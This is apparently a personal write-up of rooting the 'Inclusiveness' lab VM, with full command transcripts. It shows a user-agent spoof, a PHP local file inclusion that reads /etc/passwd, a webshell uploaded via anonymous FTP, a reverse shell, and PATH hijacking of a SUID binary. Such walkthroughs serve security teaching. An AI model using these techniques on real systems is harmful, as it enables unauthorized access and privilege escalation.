2020-04-15
This VM was created by h4sh5 and Richard Lee. I love the concept! Turned out this was a beginner/intermediate box forcing the attacker to put two things together to get a shell. For privilege escalation, I would have liked to see a multi-step path to root (www-data to user to root), but the privesc exploit reminded me of the basics. I was stuck for a while and didn't root the VM until I broke apart the problem into its components. The VM can be downloaded:here.
We began the machine with enumeration of the network services.
root@kali:~/Documents/inclusiveness# cat nmap/192.168.0.128.nmap # Nmap 7.80 scan initiated Sat Apr 11 17:11:36 2020 as: nmap -p- -oA nmap/192.168.0.128 -Pn -T5 -sV -v0 --host-timeout 99999m 192.168.0.128 Nmap scan report for 192.168.0.128 Host is up (0.00058s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 00:0C:29:53:BE:04 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
From this, it's clear we have three services:
root@kali:~/Documents/inclusiveness# curl http://192.168.0.128/doesntexist-robots.txt You are not a search engine! You can't read my robots.txt! root@kali:~/Documents/inclusiveness# curl http://192.168.0.128/robots.txt You are not a search engine! You can't read my robots.txt!
I've seen this type of behavior before in CTFs and others. The same resource was being returned by the web server depending on a keyword. Most of the other times I'd seen this it was Apache's mod_rewrite module inspecting URLs and returning responses. In this case, the word "robot" revealed an error. How can we impersonate a search engine? I found this article, which did a pretty good job at explaining https://blogs.akamai.com/2014/07/search-engine-impersonation-the-wolf-in-sheeps-clothing.html. If my hypothesis was correct, all I'd have to do is change my "User Agent" string (the HTTP User-Agent header) and the server would respond with a different response (hopefully the actual robots.txt).
root@kali:~/Documents/inclusiveness# curl -H "User-Agent: Googlebot/2.0" http://192.168.0.128/robots.txt User-agent: * Disallow: /secret_information/
Great! Next, I took a look at the /secret_information/ directory. We are returned with what appears to be a simple page explaining the concept of a DNS Zone Transfer.
root@kali:~/Documents/inclusiveness# curl http://192.168.0.137/secret_information/ <title>zone transfer</title> <h2>DNS Zone Transfer Attack</h2> <p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p> DNS Zone transfer is the process where a DNS
I wasn't too worried about the title or text content, but keyed in on the PHP functionality. I assumed this must be serving "index.php" because there was a "lang" parameter which appeared to change the language of the page. Not only that, the lang parameter appeared to serve content from local files named "en.php" and "es.php". To confirm, I tried to include a local file outside of the web root (/etc/passwd).
root@kali:~/Documents/inclusiveness# curl -s http://192.168.0.128/secret_information/?lang=/etc/passwd <title>zone transfer</title> <h2>DNS Zone Transfer Attack</h2> <p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin avahi-autoipd:x:107:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin sshd:x:110:65534::/run/sshd:/usr/sbin/nologin avahi:x:113:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin saned:x:114:121::/var/lib/saned:/usr/sbin/nologin colord:x:115:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:116:123::/var/lib/geoclue:/usr/sbin/nologin tom:x:1000:1000:Tom,,,:/home/tom:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin ftp:x:118:125:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
Another win. Now we can try to include any local file on the system, however, we aren't able to list directories. In my limited experience, whenever a web application is vulnerable to a local file inclusion, you should always, always, always, test for remote file inclusion. I did just that. I stood up a simple python web server, included a HTTP path to my own server, made the request, but didn't receive any request back. I tried a few other ports to test if the failure was a result of a firewall, but the application didn't appear to be vulnerable to remote file inclusion. At this point, we don't really have a way to execute remote code unless we can control the content of a local PHP file. This is where I had to put two and two together. In a similar way to one of my favorite OSCP boxes, "Bob", I combined two mis-configurations together to execute remote code. Remember the anonymous FTP write capability!? The vsftpd service allows us to upload malicious PHP, but in order to include it within the web application, we'd need to know its path. Luckily, I found this within the vsftp configuration file, /etc/vsftpd.conf.
root@kali:~/Documents/inclusiveness# curl -s -H "User-Agent: Googlebot/2.0" http://192.168.0.137/secret_information/?lang=/etc/vsftpd.conf | grep root | grep -v '#' secure_chroot_dir=/var/run/vsftpd/empty anon_root=/var/ftp/
Good. So the LFI vulnerability can leak the path to the FTP server root, we're able to write anonymously to the FTP server, and we're able to include that malicious PHP code within the web application! Let's test with a simple webshell.
root@kali:~/Documents/inclusiveness# echo '<?php echo system($_REQUEST["h00p"]);?>' > h00p.php root@kali:~/Documents/inclusiveness# ftp 192.168.0.128 Connected to 192.168.0.128. 220 (vsFTPd 3.0.3) Name (192.168.0.128:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> put h00p.php pub/h00p.php local: h00p.php remote: pub/h00p.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 40 bytes sent in 0.00 secs (169.1017 kB/s) root@kali:~/Documents/inclusiveness# curl -s -H "User-Agent: Googlebot/2.0" 'http://192.168.0.137/secret_information/?h00p=id&lang=/var/ftp/pub/h00p.php' <title>zone transfer</title> <h2>DNS Zone Transfer Attack</h2> <p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p> uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
I'm not sure why the command executed twice (I've seen this before but haven't figured it out). Nonetheless, it confirms code execution! I ended up turning this into a fully interactive reverse shell with pentestmonkey's PHP reverse shell. I uploaded the shell, included it within the PHP web application, used Python to upgrade to a PTY shell, then set the TERM environment variable for usability.
curl -s -H "User-Agent: Googlebot/2.0" http://192.168.0.137/secret_information/?lang=/var/ftp/pub/rev2.php root@kali:~/Documents/inclusiveness# nc -nlvp 443 Listening on 0.0.0.0 443 Connection received on 192.168.0.137 41762 Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux 04:31:52 up 1 day, 21:55, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty;pty.spawn("/bin/bash");' www-data@inclusiveness:/$ export TERM=xterm-256color export TERM=xterm-256color
I stumbled around the filesystem looking for clues, but didn't find many at all. There didn't appear to be many suspect processes running, the kernel and OS didn't look too old, and there was only one user, tom. Tom's home folder was readable by www-data. The most interesting file on the system happened to be in tom's home directory. It was an SUID binary with the source available.
# ls -al rootshell* ls -al rootshell* -rwsr-xr-x 1 root root 16976 Feb 8 13:01 rootshell -rw-r--r-- 1 tom tom 448 Feb 8 13:01 rootshell.c # cat rootshell.c cat rootshell.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> int main() { printf("checking if you are tom...\n"); FILE* f = popen("whoami", "r"); char user[80]; fgets(user, 80, f); printf("you are: %s\n", user); //printf("your euid is: %i\n", geteuid()); if (strncmp(user, "tom", 3) == 0) { printf("access granted.\n"); setuid(geteuid()); execlp("sh", "sh", (char *) 0); } }
Initially, I had difficulty exploiting this bug. It was a custom SUID binary owned by root! This was clearly the easiest way to escalate privileges. The program appeared to run the command "whoami", take the output of that command and store it in a buffer (user), then check if the first three bytes of that buffer were "tom". If so, it spawned a shell within the context of the program. There appeared to be a couple obvious vulnerabilities. First off, if a user named tom1 or tomcat were to run this program, it would also be granted root privileges. I knew that I couldn't just change the output of the "whoami" binary without hooking the functions themselves (would require root privileges anyway). Then, I realized that the program may not even call the system "whoami" binary. What if we could manipulate it into running our own "whoami" program? I remember reading a writeup by Rich Mirch, a local pentester, on his blog. I don't remember which article, but it essentially gained elevated privileges by manipulating $PATH to trick the service into executing arbitrary code. I decided to create my own "whoami" binary that always returned "tom". I created the binary (also named whoami), changed my $PATH variable to first search in the /tmp/ directory for binaries, then executed the SUID rootshell to gain root privileges.
www-data@inclusiveness:/tmp$ echo '#include <stdio.h>' > whoami.c echo '#include <stdio.h>' > whoami.c www-data@inclusiveness:/tmp$ echo 'main(){printf("tom");}' >> whoami.c echo 'main(){printf("tom");}' >> whoami.c www-data@inclusiveness:/tmp$ gcc whoami.c -o whoami && chmod +x whoami gcc whoami.c -o whoami && chmod +x whoami whoami.c:2:1: warning: return type defaults to 'int' [-Wimplicit-int] main(){printf("tom");} ^~~~ www-data@inclusiveness:/tmp$ ./whoami ./whoami tomwww-data@inclusiveness:/tmp$ www-data@inclusiveness:/tmp$ /home/tom/rootshell /home/tom/rootshell checking if you are tom... you are: www-data www-data@inclusiveness:/tmp$ export PATH=/tmp:$PATH export PATH=/tmp:$PATH www-data@inclusiveness:/tmp$ /home/tom/rootshell /home/tom/rootshell checking if you are tom... you are: tom access granted. # id id uid=0(root) gid=33(www-data) groups=33(www-data) # cd /root cd /root # ls ls flag.txt # cat flag.txt cat flag.txt |\---------------\ || | || UQ Cyber Squad | || | |\~~~~~~~~~~~~~~~\ | | | | o flag{omg_you_did_it_YAY} # hostname hostname inclusiveness
I really enjoyed rooting inclusiveness! Looking back, I get the name as its vulnerable to a Local File Inclusion and $PATH tampering. I especially enjoy rooting machines that require leveraging multiple services or configurations to achieve RCE. The privilege escalation was a nice reminder as well to break apart a problem and think critically about the components. Big thanks to the creators, h4sh5 and Richard Lee.